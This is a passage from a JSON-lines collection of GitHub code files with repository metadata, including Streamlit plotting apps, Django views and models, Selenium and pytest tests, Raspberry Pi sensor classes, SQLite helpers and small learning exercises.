   # start iteration\n    for i in range(steps):\n        x1 = r*x0*(1-x0)\n        y1 = r*y0*(1-y0)\n        iterate_result.append(x1)\n        iterate_result1.append(y1)\n        iterate_diff.append(x1-y1)\n        x0 = x1\n        y0 = y1\n\n    return iterate_result, iterate_result1, iterate_diff\n\n# This function return adjusted x-ticks for given steps automatically\n\n\ndef get_xticks(steps):\n    if steps < 10:\n        x_ticks = np.arange(0, steps+1, 1)\n    elif steps < 20:\n        x_ticks = np.arange(0, steps+1, 2)\n    elif steps < 100:\n        x_ticks = np.arange(0, steps+1, 5)\n    elif steps < 200:\n        x_ticks = np.arange(0, steps+1, 10)\n    elif steps < 500:\n        x_ticks = np.arange(0, steps+1, 25)\n    else:\n        x_ticks = np.arange(0, steps+1, 50)\n    return x_ticks\n\n\n# Get the iterated results and plot it out\niteration_result, iteration_result1, iteration_diff = logistic_equation(\n    iteration_steps, initial_value, initial_value1, growth_rate)\n\n# The first iteration results\nf, ax = plt.subplots(figsize=(8, 4))\nplt.title('Results of the first iteration', fontsize=10)\nplt.plot(iteration_result, color='r', lw=0.3,\n         marker='o', mec='r', mfc='r', ms=3)\nplt.ylim(0.0, 1.0)\nplt.xlim(-1, iteration_steps+1)\nmy_x_ticks = get_xticks(iteration_steps)\nmy_y_ticks = np.arange(0.0, 1.0, 0.1)\nplt.xticks(my_x_ticks)\nplt.yticks(my_y_ticks)\nplt.xticks(fontsize=6)\nplt.yticks(fontsize=6)\nst.pyplot(f)\n\n# The first and the second itereation results\nf, ax = plt.subplots(figsize=(8, 4))\nplt.title('Results of the first and the second iterations', fontsize=10)\nplt.plot(iteration_result, color='r', lw=0.3,\n         marker='o', mec='r', mfc='r', ms=3)\nplt.plot(iteration_result1, color='b', lw=0.3,\n         marker='D', mec='b', mfc='b', ms=3, alpha=0.5)\nplt.ylim(0.0, 1.0)\nplt.xlim(-1, iteration_steps+1)\nmy_x_ticks = get_xticks(iteration_steps)\nmy_y_ticks = np.arange(0.0, 1.0, 0.1)\nplt.xticks(my_x_ticks)\nplt.yticks(my_y_ticks)\nplt.xticks(fontsize=6)\nplt.yticks(fontsize=6)\nst.pyplot(f)\n\n# The difference of two itereation results\nf, ax = plt.subplots(figsize=(8, 4))\nplt.title('The difference of two iterations', fontsize=10)\nplt.plot(iteration_diff, color='g', lw=0.5, marker='o', mec='g', mfc='g', ms=3)\nplt.ylim(-1.0, 1.0)\nplt.xlim(-1, iteration_steps+1)\nmy_x_ticks = get_xticks(iteration_steps)\nmy_y_ticks = np.arange(-1.0, 1.0, 0.1)\nplt.xticks(my_x_ticks)\nplt.yticks(my_y_ticks)\nplt.xticks(fontsize=6)\nplt.yticks(fontsize=6)\nst.pyplot(f)\n\n# Output the numerical values\nst.write('---')\nif st.button('Show me the numbers!'):\n    st.markdown(\"<h3 style='text-align: left; color: blue;'>The numerical values of iterations</h3>\",\n                unsafe_allow_html=True)\n    results = np.column_stack(\n        (iteration_result, iteration_result1, iteration_diff))\n    results = pd.DataFrame(results, columns=['x', 'y', 'x-y'])\n    st.write(results)\n","repo_name":"peterxiangyi/DynamicSystem","sub_path":"LogisticEquation.py","file_name":"LogisticEquation.py","file_ext":"py","file_size_in_byte":5326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"3002686964","text":"class Minion():\n\n    def __init__(self, minion_name, id=None):\n        self.minion_name = minion_name\n        if id:\n            self.id = id\n\n    @classmethod\n    def minion(cls, minion_dict):\n        \"\"\"Initialize Minion object from minion dictionary\"\"\"\n        minion_obj = cls(minion_dict['minion_name'],\n                         id=minion_dict['id'])\n\n        return minion_obj\n","repo_name":"xipizaizai/MinionAPI-updated","sub_path":"src/minionapi/models/minion.py","file_name":"minion.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"34162000741","text":"import json\nimport random\n\ndef main(obj,player,layer):\n obj[\"caveid\"]=random.randint(1,2**16)\n obj[\"name\"]=input(\"What should it be called?\\n\")\n obj[\"description\"]=input(\"What should the description be?\\n\")\n obj[\"target\"]=int(input(\"Which room should it go to?\\n\"))\n obj[\"txt\"]=input(\"What should it say when in use?\\n\")\n f=open(\"objects/cave.data\",\"r\")\n newobj=json.load(f)\n f.close()\n newobj[\"name\"]=obj[\"name\"]\n newobj[\"target\"]=player[\"room\"]\n newobj[\"description\"]=obj[\"description\"]\n newobj[\"txt\"]=obj[\"txt\"]\n newobj[\"caveid\"]=obj[\"caveid\"]\n layer[obj[\"target\"]][\"contents\"].append(newobj)\n return obj\n\ndef remove(obj,player,layer):\n for thing in layer[obj[\"target\"]][\"contents\"]:\n  if \"caveid\" in thing:\n   if thing[\"caveid\"]==obj[\"caveid\"]:\n   \tdel thing\n   \tbreak\n","repo_name":"SamAng219255/MUD","sub_path":"objectScripts/newcave.py","file_name":"newcave.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"939349418","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import Http404, JsonResponse\nfrom django.utils import translation\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext as _\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.http import require_GET\n\nfrom repanier.const import (\n    LIMIT_ORDER_QTY_ITEM,\n    DECIMAL_ZERO,\n    EMPTY_STRING,\n    RoundUpTo, SaleStatus,\n)\nfrom repanier.models.customer import Customer\nfrom repanier.models.invoice import CustomerInvoice\nfrom repanier.models.offeritem import OfferItemReadOnly\nfrom repanier.models.purchase import PurchaseWoReceiver\nfrom repanier.tools import sint, get_html_selected_value\n\n\n@never_cache\n@require_GET\n@login_required\ndef order_select_ajax(request):\n    # print(\"####### order_select_ajax\")\n    user = request.user\n    customer = Customer.objects.filter(id=user.customer_id, may_order=True).first()\n    if customer is None:\n        raise Http404\n    translation.activate(customer.language)\n    offer_item_id = sint(request.GET.get(\"offer_item\", 0))\n    offer_item = OfferItemReadOnly.objects.filter(id=offer_item_id).first()\n    if offer_item is None:\n        raise Http404\n    customer_invoice = CustomerInvoice.objects.filter(\n        permanence_id=offer_item.permanence_id, customer_id=customer.id\n    ).first()\n    if customer_invoice is None:\n        raise Http404\n    # Select one purchase\n    purchase = (\n        PurchaseWoReceiver.objects.filter(\n            customer_id=customer.id, offer_item_id=offer_item_id\n        )\n        .only(\"quantity_ordered\")\n        .first()\n    )\n    status = customer_invoice.status\n    if offer_item.may_order and status == SaleStatus.OPENED:\n        product = offer_item.product\n        price_list_multiplier = offer_item.get_price_list_multiplier(customer_invoice)\n        customer_unit_price = offer_item.get_customer_unit_price(price_list_multiplier)\n        unit_deposit = offer_item.get_unit_deposit()\n        unit_price_amount = (customer_unit_price + unit_deposit).quantize(RoundUpTo.TWO_DECIMALS)\n        q_min = product.customer_minimum_order_quantity\n        if purchase is not None:\n            q_previous_order = purchase.quantity_ordered\n        else:\n            q_previous_order = DECIMAL_ZERO\n        if status == SaleStatus.OPENED and product.stock > DECIMAL_ZERO:\n            q_alert = offer_item.get_q_alert() + q_previous_order\n        else:\n            q_alert = offer_item.get_q_alert()\n        q_step = product.customer_increment_order_quantity\n        q_order_is_displayed = False\n        q_select_id = 0\n        selected = EMPTY_STRING\n        if q_previous_order <= 0:\n            q_order_is_displayed = True\n            selected = \"selected\"\n\n        q_valid = q_min\n        html = EMPTY_STRING\n        if q_valid <= q_alert:\n            if status == SaleStatus.OPENED or (\n                status <= SaleStatus.SEND and selected == \"selected\"\n            ):\n                html = '<option value=\"0\" {}>---</option>'.format(selected)\n        else:\n            if status == SaleStatus.OPENED or (\n                status <= SaleStatus.SEND and selected == \"selected\"\n            ):\n                html = '<option value=\"0\" {}>{}</option>'.format(\n                    selected, _(\"Sold out\")\n                )\n        q_counter = 0  # Limit to avoid too long selection list\n        while q_valid <= q_alert and q_counter <= LIMIT_ORDER_QTY_ITEM:\n            q_select_id += 1\n            q_counter += 1\n            selected = EMPTY_STRING\n            if not q_order_is_displayed:\n                if q_previous_order <= q_valid:\n                    q_order_is_displayed = True\n                    selected = \"selected\"\n            if status == SaleStatus.OPENED or (\n                status <= SaleStatus.SEND and selected == \"selected\"\n            ):\n                display = product.get_display(\n                    qty=q_valid,\n                    order_unit=product.order_unit,\n                    unit_price_amount=unit_price_amount,\n                )\n                html += '<option value=\"{}\" {}>{}</option>'.format(\n                    q_select_id, selected, display\n                )\n            if q_valid < q_step:\n                # 1; 2; 4; 6; 8 ... q_min = 1; q_step = 2\n                # 0,5; 1; 2; 3 ... q_min = 0,5; q_step = 1\n                q_valid = q_step\n            else:\n                # 1; 2; 3; 4 ... q_min = 1; q_step = 1\n                # 0,125; 0,175; 0,225 ... q_min = 0,125; q_step = 0,50\n                q_valid = q_valid + q_step\n\n        if not q_order_is_displayed:\n            # An custom order_qty > q_alert\n            q_select_id += 1\n            display = product.get_display(\n                qty=q_previous_order,\n                order_unit=product.order_unit,\n                unit_price_amount=unit_price_amount,\n            )\n            html = '<option value=\"{}\" selected>{}</option>'.format(\n                q_select_id, display\n            )\n        if status == SaleStatus.OPENED:\n            html += '<option value=\"other_qty\">{}</option>'.format(_(\"Other qty\"))\n        else:\n            html = '<option value=\"0\" selected>---</option>'\n\n    else:\n        if purchase is not None and purchase.quantity_ordered != DECIMAL_ZERO:\n            offer_item = purchase.offer_item\n            price_list_multiplier = offer_item.get_price_list_multiplier(\n                purchase.customer_invoice\n            )\n            customer_unit_price = offer_item.get_customer_unit_price(\n                price_list_multiplier\n            )\n            unit_deposit = offer_item.get_unit_deposit()\n            unit_price_amount = (customer_unit_price + unit_deposit).quantize(\n                RoundUpTo.TWO_DECIMALS\n            )\n            html = get_html_selected_value(\n                offer_item,\n                purchase.quantity_ordered,\n                unit_price_amount=unit_price_amount,\n                is_open=True,\n            )\n        else:\n            html = '<option value=\"0\" selected>{}</option>'.format(_(\"Closed\"))\n\n    return JsonResponse({\"#offer_item{}\".format(offer_item.id): mark_safe(html)})\n","repo_name":"pcolmant/repanier","sub_path":"repanier/views/order_select_ajax.py","file_name":"order_select_ajax.py","file_ext":"py","file_size_in_byte":6178,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"57"}
+{"seq_id":"5408878509","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport time\n\ntry:\n    driver = webdriver.Chrome()\n    driver.implicitly_wait(10) # динамическое ожидание загрузки элементов с максимальным временем ожидания 10 секунд\n\n    # url = 'http://suninjuly.github.io/registration1.html'\n    url = 'http://suninjuly.github.io/registration2.html'\n\n    driver.get(url)\n\n    input1 = driver.find_element(By.CSS_SELECTOR, '.first_block .first')\n    input1.send_keys('FirstName')\n    input2 = driver.find_element(By.CSS_SELECTOR, '.first_block .second')\n    input2.send_keys('LastName')\n    input3 = driver.find_element(By.CSS_SELECTOR, '.first_block .third')\n    input3.send_keys('FirstName@LastName.an')\n\n    submit_button = driver.find_element(By.CSS_SELECTOR, '.btn-default')\n    submit_button.click()\n\n    # находим элемент, содержащий текст\n    welcome_text_elt = driver.find_element(By.TAG_NAME, \"h1\")\n    # записываем в переменную welcome_text текст из элемента welcome_text_elt\n    welcome_text = welcome_text_elt.text\n\n    # с помощью assert проверяем, что ожидаемый текст совпадает с текстом на странице сайта\n    assert \"Congratulations! You have successfully registered!\" == welcome_text\n\nfinally:\n    time.sleep(5)\n    driver.quit()\n","repo_name":"Nokhrin/stepik_auto_tests_course","sub_path":"1-6-5-lesson-for-peers.py","file_name":"1-6-5-lesson-for-peers.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"6146290901","text":"import pytest\nimport math\nfrom instance_generation import create_circle_n_k\nfrom utils.util_functions import calculate_times, _calculate_times_old, calculate_order_from_times\nfrom utils import get_tripeledges_from_abs_graph, convert_graph_to_angular_abstract_graph\n\ndef test_calc_times_old_new():\n    graph = create_circle_n_k(15, 10)\n    order = [(i, j) for i in range(graph.vert_amount) for j in range(i+1, graph.vert_amount)]\n    old_times = _calculate_times_old(order, graph)\n    new_times = calculate_times(order, graph)\n    for old, new in zip(old_times, new_times):\n        assert old == new\n        assert math.isclose(old_times[old], new_times[new])\n\ndef test_get_order_from_times():\n    graph = create_circle_n_k(15, 10)\n    order = [(i, j) for i in range(graph.vert_amount) for j in range(i+1, graph.vert_amount)]\n    times = calculate_times(order, graph)\n    new_order = calculate_order_from_times(times, graph)\n    # As both orders could actually differ without changing a thing,\n    # we instead test if we get the same times again\n    new_times = calculate_times(new_order, graph)\n    for key in new_times:\n        assert math.isclose(times[key], new_times[key])\n\ndef test_get_tripel_edges():\n    graph = create_circle_n_k(15, 5)\n    tripel_control, abs_graph = convert_graph_to_angular_abstract_graph(graph, simple_graph=False, return_tripel_edges=True)\n    tripel_edges = get_tripeledges_from_abs_graph(abs_graph)\n    assert len(tripel_edges) == len(tripel_control)\n    for edge in tripel_edges:\n        assert tripel_control[edge] == tripel_edges[edge]\n","repo_name":"ahillbs/ma-ahill","sub_path":"tests/test_utils_functions.py","file_name":"test_utils_functions.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"7368670070","text":"##################################################################\n###                                                            ###\n###                  TEMPERATURE SENSOR CLASS                  ###\n###                                                            ###\n###             BY: DEREK MATA & JEFFERY SPAULDING             ###\n###                PROFESSOR OMAR SDP & ECE 5590               ###\n###                        SPRING 2022                         ###\n###                                                            ###\n##################################################################\n\n# Libraries for sensor data retrieval \nimport time\nimport board\nimport busio\nimport adafruit_dht\nimport adafruit_ina260\nimport RPi.GPIO as GPIO\n \n# Initial the dht device, with data pin connected to:\n# dhtDevice = adafruit_dht.DHT11(board.D4)\n \n# you can pass DHT11 use_pulseio=False if you wouldn't like to use pulseio.\n# This may be necessary on a Linux single board computer like the Raspberry Pi,\n# but it will not work in CircuitPython.\n \n\n# DHT11 temperature sensor from Adafruit\nclass temperature_sensor:\n    # Constructor --> initialize the temperature sensor object with adafruit library, and create temperatrues and humidity\n    def __init__(self):\n        self.dhtDevice = adafruit_dht.DHT11(board.D4)\n        self.temp_c = 0\n        self.temp_f = 0\n        self.humidity = 0.0        \n    \n    # Get temperature from sensor in both C and F\n    def get_temp(self):\n        try:\n            self.temp_c = self.dhtDevice.temperature\n            self.temp_f = self.temp_c * (9/5) + 32\n        except RuntimeError as err:\n            print(err.args[0])\n        except Exception as err:\n            self.dhtDevice.exit()\n            raise err\n        \n        return self.temp_f\n    \n    # Get the humidity from sensor in terms of percentage of air-water mixture relative to dew point\n    def get_humidity(self):\n        try:\n            self.humidity = self.dhtDevice.humidity\n        except RuntimeError as err:\n            print(err.args[0])\n        except Exception as err:\n            self.dhtDevice.exit()\n            raise err\n        \n        return self.humidity\n    \n\n# INA260 power sensor from Adafruit  \nclass power_sensor:\n    # Constructor --> initialize the power sensor object with adafruit library and i2c bus\n    #                 set the voltage, current, and power initially to zero\n    def __init__(self):\n        self.i2c = busio.I2C(board.SCL, board.SDA)\n        self.inaDevice = adafruit_ina260.INA260(self.i2c)\n        self.inaDevice.mode = adafruit_ina260.Mode.CONTINUOUS\n        self.current = 0\n        self.voltage = 0\n        self.power = 0\n        \n    # Get the current, voltage, power data\n    def get_cvp(self):\n        try:\n            self.current = self.inaDevice.current\n            self.voltage = self.inaDevice.voltage\n            self.power = self.inaDevice.power\n        except RuntimeError as err:\n            print(err.args[0])\n        except Exception as err:\n            raise err\n        \n        return (self.current, self.voltage, self.power)\n","repo_name":"bensonthong/Software-Defined-Wireless-Sensor-Network","sub_path":"WSN/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"13603277560","text":"from django.db import models\nfrom django.utils import timezone\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.utils.translation import ugettext as _\n\n# Create your models here.\nclass Pediatra(models.Model):\n    nombre = models.CharField(max_length=100, null=False, blank=False)\n    apellidos = models.CharField(max_length=100, null=False, blank=False)\n\n    def __str__(self):\n        txt = \"{0} {1}\".format(self.nombre,self.apellidos)\n        return txt\n    \n\nclass Cita(models.Model):\n    comentario = models.TextField(null=False,blank=False,max_length=500)\n    fechaHora = models.DateTimeField(null=False, blank=False)\n    pediatra = models.ForeignKey(Pediatra, null=False,blank=False, on_delete=models.CASCADE)\n    emailContacto = models.EmailField(null=False,blank=False)\n\n    def __str__(self):\n        fechaHora = timezone.localtime(self.fechaHora)\n        fechaFormated = fechaHora.strftime(\"%d/%m/%Y %H:%M:%S\")\n        txt = _(\"Cita con el pediatra: \")\n        txt += \"{} \".format(self.pediatra)\n        txt += _(\"para el día \")\n        txt += \"{} \".format(fechaFormated)\n        return txt\n\n    def save(self, *args, **kwargs):\n        txt_mail = self.make_email_txt()\n        self.send_email(txt_mail,self.emailContacto)\n        super(Cita, self).save(*args, **kwargs)\n\n    def send_email(self,txt_mail,emailContacto):\n        asunto = _(\"Registro de Cita\")\n        email_desde = settings.EMAIL_HOST_USER\n        email_para = [emailContacto]\n        send_mail(asunto,txt_mail,email_desde,email_para,fail_silently=False)\n\n    def make_email_txt(self):\n        txt_mail = _(\"Buen día,\")\n        txt_mail += \"\\n\\n\"\n        txt_mail += _(\"Se ha registrado una cita para el día \")\n        txt_mail += \"{} \".format(self.fechaHora.strftime(\"%d/%m/%Y %H:%M\"))\n        txt_mail += _(\"con el Pediatra: \")\n        txt_mail += \"{}.\".format(self.pediatra)\n        txt_mail += \"\\n\\n\"\n        txt_mail += _(\"Con los siguientes comentarios:\")\n        txt_mail += \"\\n\\n\"\n        txt_mail += \"{}\".format(self.comentario)\n        txt_mail += \"\\n\\n\"\n        txt_mail += _(\"Saludos\")\n        \n        return txt_mail\n","repo_name":"areg4/Yema-Test-GerardoGG","sub_path":"Citas/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"38289808435","text":"import collections\nimport functools\nimport math\nfrom typing import List\nfrom typing import Optional\n\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n'''\n给定一个二叉树，找出其最大深度。\n\n二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。\n\n说明: 叶子节点是指没有子节点的节点。\n\n示例：\n给定二叉树 [3,9,20,null,null,15,7]，\n'''\n\n\nclass Solution:\n    def maxDepth(self, root: Optional[TreeNode]) -> int:\n        res = 0\n        def dfs(node, depth):\n            nonlocal res\n            if node is None:\n                res = max(res, depth)\n                return\n            dfs(node.left, depth + 1)\n            dfs(node.right, depth + 1)\n        dfs(root, 0)\n        return res\n\n    def maxDepth2(self, root: Optional[TreeNode]) -> int:\n        res = 0\n        def dfs(node, depth):\n            nonlocal res\n            if node is None:\n                res = max(res, depth)\n                return\n            dfs(node.left, depth+1)\n            dfs(node.right, depth+1)\n        dfs(root, 0)\n        return res\n","repo_name":"AurelianoLZA/LC_problems","sub_path":"104. 二叉树的最大深度.py","file_name":"104. 二叉树的最大深度.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"72868217777","text":"import os\nimport sqlite3\n\n\nfrom typing import (\n    Dict,\n    List,\n    Optional,\n    Sequence,\n    TypeAlias,\n    Union,\n)\n\n\nfrom logger import log\nfrom zerr import zerr\n\n# Function specific variables and aliases\n\n\ndbpath = os.getenv(\"DATABASE_PATH\")\nSQLiteConn: TypeAlias = sqlite3.Connection\n\n\n# Functions\n\n\ndef close(connection: SQLiteConn) -> None:\n    try:\n        connection.close()\n    except Exception as e:\n        error_info = f\"[Failed to close SQLite connection.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        raise Exception(error_info)\n\n\ndef connect(db_path: Optional[str] = None) -> SQLiteConn:\n    try:\n        if db_path != \":memory:\":\n            if db_path is None:\n                db_path = dbpath\n\n            connection = sqlite3.connect(str(db_path))\n        else:\n            connection = sqlite3.connect(\":memory:\")\n        return connection\n    except Exception as e:\n        error_info = f\"[Failed to connect to SQLite database.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        raise Exception(error_info)\n\n\ndef create_table(\n    connection: SQLiteConn, table_name: str, columns: Dict[str, str]\n) -> Optional[bool]:\n    try:\n        cursor = connection.cursor()\n        columns_str = \", \".join(\n            f\"{key} {value}\" for key, value in columns.items()\n        )\n        query = f\"CREATE TABLE {table_name} ({columns_str})\"\n        cursor.execute(query)\n        connection.commit()\n        return True\n    except Exception as e:\n        error_info = f\"[Failed to create table {table_name}.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        return False\n\n\ndef insert(\n    connection: SQLiteConn,\n    table_name: str,\n    values: Sequence[Union[int, str, bytes, float, None]],\n    columns: Optional[Sequence[str]] = None,\n) -> Optional[bool]:\n    try:\n        cursor = connection.cursor()\n        placeholders = \", \".join(\"?\" * len(values))\n        placeholders = placeholders.replace(\"\\\\\", \"/\")\n        placeholders = placeholders.replace(\"'\", \"`\")\n        if columns:\n            columns_str = \", \".join(columns)\n            query = (\n                f\"INSERT INTO {table_name} \"\n                f\"({columns_str}) VALUES ({placeholders})\"\n            )\n        else:\n            query = f\"INSERT INTO {table_name} VALUES ({placeholders})\"\n\n        cursor.execute(query, values)\n        connection.commit()\n        return True\n    except Exception as e:\n        error_info = (\n            f\"[Failed to insert values into table {table_name}.]:{zerr(e)}\"\n        )\n        log(error_info, \"CRITICAL\")\n        return False\n\n\ndef newdb(db_path: Optional[str] = None) -> Optional[bool]:\n    try:\n        if db_path is None:\n            db_path = dbpath\n        connection = connect(db_path)\n\n        create_table(\n            connection,\n            \"media\",\n            {\n                \"id\": \"INTEGER UNIQUE PRIMARY KEY AUTOINCREMENT\",\n                \"filepath\": \"TEXT NOT NULL UNIQUE\",\n                \"audio\": \"TEXT\",\n                \"subs\": \"TEXT\",\n                \"embedded\": \"TEXT\",\n                \"misc\": \"TEXT\",\n                \"duplicate\": \"TEXT\",\n                \"complete\": \"TEXT\",\n            },\n        )\n\n        close(connection)\n        return True\n\n    except Exception as e:\n        error_info = f\"[Failed to create new SQLite database.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        return False\n\n\ndef query(\n    connection: SQLiteConn,\n    table_name: str,\n    columns: Union[str, List[str]] = \"*\",\n    conditions: Optional[\n        Dict[str, Union[int, str, bytes, float, None]]\n    ] = None,\n) -> list:\n    try:\n        cursor = connection.cursor()\n        where_clause = (\n            \" AND \".join(f\"{key} = ?\" for key in conditions.keys())\n            if conditions\n            else \"\"\n        )\n        query = (\n            f\"SELECT {columns} FROM {table_name} \"\n            f\"{'WHERE ' + where_clause if where_clause else ''}\"\n        )\n        cursor.execute(query, list(conditions.values()) if conditions else [])\n        return cursor.fetchall()\n    except Exception as e:\n        error_info = f\"[Failed to query table {table_name}.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        return []\n\n\ndef raw_query(\n    connection: SQLiteConn,\n    query: str,\n    values: Optional[Dict[str, Union[int, str, bytes, float, None]]] = None,\n) -> list:\n    try:\n        cursor = connection.cursor()\n        cursor.execute(query, values if values else [])\n        return cursor.fetchall()\n    except Exception as e:\n        error_info = f\"[Failed to execute raw query ({query}).]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        return []\n\n\ndef revert_characters(formatted_str: str) -> str:\n    subs: Dict[str, str] = {\n        \"⟦\": \"[\",\n        \"⟧\": \"]\",\n        \"⦃\": \"{\",\n        \"⦄\": \"}\",\n        \"❨\": \"(\",\n        \"❩\": \")\",\n        \"‚\": \",\",\n        \"⁏\": \";\",\n        \"❮\": \"<\",\n        \"❯\": \">\",\n    }\n    original_str = formatted_str\n    for char, sub in subs.items():\n        original_str = original_str.replace(char, sub)\n    return original_str\n\n\ndef substitute_characters(original_str: str) -> str:\n    subs: Dict[str, str] = {\n        \"[\": \"⟦\",\n        \"]\": \"⟧\",\n        \"{\": \"⦃\",\n        \"}\": \"⦄\",\n        \"(\": \"❨\",\n        \")\": \"❩\",\n        \",\": \"‚\",\n        \";\": \"⁏\",\n        \"<\": \"❮\",\n        \">\": \"❯\",\n    }\n    formatted_str = original_str\n    for char, sub in subs.items():\n        formatted_str = formatted_str.replace(char, sub)\n    return formatted_str\n\n\ndef update(\n    connection: SQLiteConn,\n    table_name: str,\n    values: Dict[str, Union[int, str, bytes, float, None]],\n    conditions: Dict[str, Union[int, str, bytes, float, None]],\n) -> Optional[bool]:\n    try:\n        cursor = connection.cursor()\n        set_clause = \", \".join(f\"{key} = ?\" for key in values.keys())\n        where_clause = \" AND \".join(f\"{key} = ?\" for key in conditions.keys())\n        query = (\n            f\"UPDATE {table_name} SET {set_clause} \" f\"WHERE {where_clause}\"\n        )\n        cursor.execute(\n            query, list(values.values()) + list(conditions.values())\n        )\n        connection.commit()\n        return True\n    except Exception as e:\n        error_info = f\"[Failed to update table {table_name}.]:{zerr(e)}\"\n        log(error_info, \"CRITICAL\")\n        return False\n","repo_name":"AznIronMan/VideoScanner","sub_path":"sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":6321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"30542097269","text":"import random\r\n\r\nclass Maailma:\r\n    def __init__(self):\r\n        self.vihut = []\r\n        self.keskiarvo = 0\r\n        self.Napoleon = Hahmo()\r\n        self.Napoleon.tyyppi = \"Sankari\"\r\n        self.Napoleon.stamina = 300\r\n\r\n    def aikatikki_staminankulutus(self):\r\n        for vihu in self.vihut:\r\n            vihu.stamina += 1\r\n        # Laske elossa ja kuolleet ja printtaa ne\r\n            \r\n    def sankari_tuhopoly(self):\r\n        self.Napoleon.stamina -= 30\r\n        # Kun tätä metodia kutsutaan, puolille vihuista stamina vähenee 10\r\n        # Jos näiden vihujen stamina on alle 0, ne kuolevat!\r\n        \r\n        # Tai satunnaisesti joka toista\r\n        for vihu in self.vihut:\r\n            if random.randint(0, 1) == 0:\r\n                vihu.staminanmuutos(-10)\r\n    \r\n    def sankari_pakenee(self):\r\n        # Arvotaan satunnainen pako-onnistuminen\r\n        pako_onnistui = random.randint(0, 1) == 0\r\n\r\n        if pako_onnistui:\r\n            print(\"Sankari pakeni onnistuneesti!\")\r\n            # Tässä voit toteuttaa pako-toiminnallisuuden ja sen seuraukset\r\n        else:\r\n            print(\"Sankari ei onnistunut pakenemaan!\")\r\n            # Tässä voit toteuttaa seuraukset, jos pako epäonnistui\r\n\r\nclass Hahmo:\r\n    def __init__(self):\r\n        self.stamina = random.randint(10, 50)\r\n        self.tyyppi = \"Vihu\"\r\n        self.elossaVaiEi = \"Elossa\"\r\n        \r\n    def staminanmuutos(self, muutosmaara):\r\n        self.stamina += muutosmaara\r\n        if self.stamina <= 0:\r\n            self.elossaVaiEi = \"Kuollut\"\r\n            \r\nmunmaailma = Maailma()\r\n\r\nfor _ in range(100):\r\n    tmphahmo = Hahmo()\r\n    munmaailma.vihut.append(tmphahmo)\r\n\r\nwhile munmaailma.Napoleon.stamina > 100:\r\n    munmaailma.aikatikki_staminankulutus()\r\n    toimenpide = input(\"Mitä sankari tekee? Pakenee (p) vai heittää tuhopolya (t)?\")\r\n    if toimenpide == \"t\":\r\n        munmaailma.sankari_tuhopoly()\r\n    if toimenpide == \"p\":\r\n        munmaailma.sankari_pakenee()\r\n","repo_name":"rosezaKo/Kouluharjoituksia","sub_path":"robotit_monta.py","file_name":"robotit_monta.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1350844172","text":"class Check_even_or_odd:\n\n    def __init__(self):\n        x = input(\"input number\")\n        try:\n            self.x = float(x)\n        except ValueError:\n            print(\"input is not a number\")\n            Check_even_or_odd()\n\n    def Check(self):\n        remainder = self.x % 2\n        if remainder == 1:\n            print(\"the number is odd\")\n        else:\n            print(\"the number is even\")\n        input(\"press enter to continue...\")\n","repo_name":"henkkid/IVK.IIIS","sub_path":"assignment_1/complex solution/check_even_or_odd.py","file_name":"check_even_or_odd.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"30107915129","text":"import streamlit as st\nimport altair as alt\nimport numpy as np\nimport pandas as pd\n\nfrom babynames.basic import load_data, get_top_names, top_names_history\n\npd.options.mode.chained_assignment = None  # default='warn'\n\n\n# Define dataframe\ndf = load_data()\n\n# Select gender of name\ngender_select = st.radio('',['Female','Male'])\ngender_select = gender_select.lower()\n\n#########################\n# Specfic YEAR analysis  #\n#########################\n\n# Set top number\ntop_x = 5\n\n# Select year\nyear_select = st.slider(\nlabel=\"Year\",\nmin_value=1954,\nmax_value=2020\n)\n\n# Get top 5 names for gender\ntop_names_m = get_top_names(df=df,names_gender=gender_select,names_year=year_select,top_x=top_x)\nbaby_name = top_names_m['name'].iloc[0]\n\n# Header for buttons\nst.subheader('Top {0} {1} names for {2}'.format(top_x,gender_select,year_select))\n\n# Create buttons for top names\nfor name in top_names_m['name']:\n    st.button(label=name,key=name)\n\n# Check if button clicked\nfor name in top_names_m['name']:\n    if st.session_state[name]:\n        baby_name = name\n\n# display_results(df,baby_name)\n\n\nst.subheader(\"Number of {0}s born by year\".format(baby_name))\n\n# Get history of top X names and plot\nhistory_df = 